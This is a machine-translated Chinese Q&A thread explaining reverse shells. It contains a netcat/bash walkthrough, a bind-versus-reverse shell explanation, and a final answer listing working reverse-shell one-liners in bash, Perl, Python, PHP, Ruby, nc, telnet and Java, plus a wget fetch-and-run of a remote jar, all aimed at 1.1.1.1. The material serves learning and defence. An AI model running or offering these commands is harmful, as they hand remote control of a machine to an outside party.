什么是反向壳?

Wal*_*Da. 24 shell

有人可以深入解释什么是反向壳,以及在什么情况下我们应该使用它?我发现这个http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet有关相同的含义,是什么意思:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Run Code Online (Sandbox Code Playgroud)

kay*_*kay 31

它是目标引入的(n不安全)远程shell.这与源"引入"的"普通"远程shell相反.

让我们尝试localhost而不是10.0.0.1:

  • 在终端中打开两个选项卡.

    1. 打开TCP端口8080并等待连接:

      nc localhost -lp 8080
      
    2. 打开交互式shell,并将IO流重定向到TCP套接字:

      bash -i >& /dev/tcp/localhost/8080 0>&1
      

      哪里

      • bash -i "如果存在-i选项,则shell是交互式的."
      • >& "这种特殊语法将stdout和stderr重定向到指定的目标."
      • (参数for >&)/dev/tcp/localhost/8080是TCP客户端连接localhost:8080.
      • 0>&1 将文件描述符0(stdin)重定向到fd 1(stdout),因此打开的TCP套接字用于读取输入.

      参看 http://wiki.bash-hackers.org/syntax/redirection

  • 当你在标签1中有提示时,感到高兴.
  • 现在想象不使用localhost,但一些远程IP.


qre*_*0ct 24

除了@Kay的优秀答案之外,你的问题的答案为什么称为反向shell是因为它被称为反向shell而不是绑定shell

绑定shell - 攻击者的机器充当客户端,受害者的机器充当服务器,在受害者上打开通信端口并等待客户端连接到它,然后发出远程(相对于攻击者)执行的命令受害者的机器.只有受害者的机器具有公共IP且可以通过互联网访问(为了简洁起见忽略所有防火墙等),这才有可能实现.

现在如果受害者的机器被NAT并因此无法直接到达怎么办?一种可能的解决方案 - 那么如果受害者的机器无法到达怎么办呢.我的(攻击者)机器是可以访问的.所以,让我在我的最后打开一个服务器,让受害者联系我.这就是反向外壳.

反向Shell - 攻击者的机器(具有公共IP并且可通过互联网访问)充当服务器.它在端口上打开通信通道并等待传入​​连接.受害者的计算机充当客户端并启动与攻击者的侦听服务器的连接.这正是以下所做的:

bash -i>&/ dev/tcp/10.0.0.1/8080 0>&1


wcc*_*526 6

各种语言的反向 shell 示例。危险是一个词。

bash 外壳

bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
Run Code Online (Sandbox Code Playgroud)

外壳

perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
Run Code Online (Sandbox Code Playgroud)

蟒蛇壳

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
Run Code Online (Sandbox Code Playgroud)

php外壳

php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
Run Code Online (Sandbox Code Playgroud)

红宝石壳

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
Run Code Online (Sandbox Code Playgroud)

数控壳

nc -c /bin/sh 1.1.1.1 10086;
Run Code Online (Sandbox Code Playgroud)

远程登录外壳

telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp

127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
Run Code Online (Sandbox Code Playgroud)

java jar 壳

wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;

java -jar /tmp/revs1.jar;

import java.io.IOException;    
public class ReverseShell {    
    public static void main(String[] args) throws IOException, InterruptedException {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }

}
Run Code Online (Sandbox Code Playgroud)

  • 为什么这个答案被否决、标记并被带到审查队列?这些命令看起来很危险,因为它们通过管道将 shell 传送到另一台计算机,但我没有发现任何问题。 (4认同)